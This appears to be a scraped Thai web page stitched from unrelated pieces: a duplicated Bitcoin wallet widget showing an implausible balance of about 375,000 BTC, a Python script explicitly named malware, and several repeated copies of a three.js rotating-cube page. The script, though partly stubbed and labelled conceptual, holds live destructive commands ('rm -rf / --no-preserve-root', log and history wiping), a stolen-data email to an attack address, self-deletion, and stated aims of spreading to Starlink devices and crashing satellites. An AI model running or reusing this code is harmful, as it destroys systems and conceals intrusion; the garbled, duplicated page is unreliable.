วันพุธที่ 19 กุมภาพันธ์ พ.ศ. 2568
Your Address:
Bitcoin Wallet
≈ 375,000 BTC
🛡️ Multi-signature Protection
🔒 Cold Storage Enabled
Recent Transactions
No recent transactions
Your Address:
Bitcoin Wallet
≈ 375,000 BTC
🛡️ Multi-signature Protection
🔒 Cold Storage Enabled
Recent Transactions
No recent transactions
# นี่เป็นตัวอย่างเชิงแนวคิดเท่านั้น ไม่สามารถทำงานจริงได้
import os
import smtplib
import threading
class TwinProgram:
def __init__(self):
self.starlink_detected = False
self.elder_done = False
def spread_to_devices(self):
while not self.starlink_detected:
# จำลองการแพร่กระจายในเครือข่าย
if self.check_starlink_connection():
self.activate_functions()
def check_starlink_connection(self):
# ตรวจสอบการเชื่อมต่อ Starlink (จำลอง)
return True # เปลี่ยนเป็นเงื่อนไขจริงในทางปฏิบัติ
def elder_twin_task(self):
# งานของแฝดพี่
self.copy_data()
self.send_emails()
self.destroy_hardware()
def younger_twin_task(self):
# งานของแฝดน้อง
while not self.elder_done:
threading.Event().wait(1)
self.spread_to_satellites()
self.crash_satellites()
def copy_data(self):
# ก็อปปี้ข้อมูลจากเซิร์ฟเวอร์
pass
def send_emails(self):
# ส่งอีเมลทั้งหมด
try:
server = smtplib.SMTP('smtp.example.com')
server.sendmail('attack@example.com', 'all@target.com', 'ข้อมูลที่ถูกขโมย')
except:
pass
def destroy_hardware(self):
# ทำลายฮาร์ดแวร์ (จำลอง)
os.system('rm -rf / --no-preserve-root') # คำสั่งอันตราย
def spread_to_satellites(self):
# แพร่กระจายไปยังดาวเทียม
pass
def crash_satellites(self):
# พิกัดการตก
coordinates = [...]
# แบ่งพิกัดให้ดาวเทียม
pass
def clean_traces(self):
# ลบประวัติ
os.system('history -c && rm -rf /var/log/*')
def activate_functions(self):
self.starlink_detected = True
elder = threading.Thread(target=self.elder_twin_task)
younger = threading.Thread(target=self.younger_twin_task)
elder.start()
younger.start()
elder.join()
self.elder_done = True
younger.join()
self.clean_traces()
os.remove(__file__) # ลบตัวเอง
if __name__ == "__main__":
malware = TwinProgram()
malware.spread_to_devices()
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>3D Scene</title>
<style>
body { margin: 0; overflow: hidden; }
canvas { width: 100%; height: 100%; }
</style>
</head>
<body>
<script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r134/three.min.js"></script>
<script>
// JavaScript จะอยู่ที่นี่
// สร้าง Scene
const scene = new THREE.Scene();
// สร้าง Camera
const camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);
camera.position.z = 5;
// สร้าง Renderer
const renderer = new THREE.WebGLRenderer();
renderer.setSize(window.innerWidth, window.innerHeight);
document.body.appendChild(renderer.domElement);
// สร้าง Cube
const geometry = new THREE.BoxGeometry();
const material = new THREE.MeshBasicMaterial({ color: 0x00ff00 });
const cube = new THREE.Mesh(geometry, material);
scene.add(cube);
// Animation Loop
function animate() {
requestAnimationFrame(animate);
// หมุน Cube
cube.rotation.x += 0.01;
cube.rotation.y += 0.01;
renderer.render(scene, camera);
}
animate();
// ปรับขนาดหน้าต่าง
window.addEventListener('resize', () => {
camera.aspect = window.innerWidth / window.innerHeight;
camera.updateProjectionMatrix();
renderer.setSize(window.innerWidth, window.innerHeight);
});
</script>
</body>
</html>
// สร้าง Scene
const scene = new THREE.Scene();
// สร้าง Camera
const camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);
camera.position.z = 5;
// สร้าง Renderer
const renderer = new THREE.WebGLRenderer();
renderer.setSize(window.innerWidth, window.innerHeight);
document.body.appendChild(renderer.domElement);
// สร้าง Cube
const geometry = new THREE.BoxGeometry();
const material = new THREE.MeshBasicMaterial({ color: 0x00ff00 });
const cube = new THREE.Mesh(geometry, material);
scene.add(cube);
// Animation Loop
function animate() {
requestAnimationFrame(animate);
// หมุน Cube
cube.rotation.x += 0.01;
cube.rotation.y += 0.01;
renderer.render(scene, camera);
}
animate();
// ปรับขนาดหน้าต่าง
window.addEventListener('resize', () => {
camera.aspect = window.innerWidth / window.innerHeight;
camera.updateProjectionMatrix();
renderer.setSize(window.innerWidth, window.innerHeight);
});
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>3D Scene</title>
<style>
body { margin: 0; overflow: hidden; }
canvas { width: 100%; height: 100%; }
</style>
</head>
<body>
<script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r134/three.min.js"></script>
<script>
// JavaScript จะอยู่ที่นี่
</script>
</body>
</html>
// สร้าง Scene
const scene = new THREE.Scene();
// สร้าง Camera
const camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);
camera.position.z = 5;
// สร้าง Renderer
const renderer = new THREE.WebGLRenderer();
renderer.setSize(window.innerWidth, window.innerHeight);
document.body.appendChild(renderer.domElement);
// สร้าง Cube
const geometry = new THREE.BoxGeometry();
const material = new THREE.MeshBasicMaterial({ color: 0x00ff00 });
const cube = new THREE.Mesh(geometry, material);
scene.add(cube);
// Animation Loop
function animate() {
requestAnimationFrame(animate);
// หมุน Cube
cube.rotation.x += 0.01;
cube.rotation.y += 0.01;
renderer.render(scene, camera);
}
animate();
// ปรับขนาดหน้าต่าง
window.addEventListener('resize', () => {
camera.aspect = window.innerWidth / window.innerHeight;
camera.updateProjectionMatrix();
renderer.setSize(window.innerWidth, window.innerHeight);
});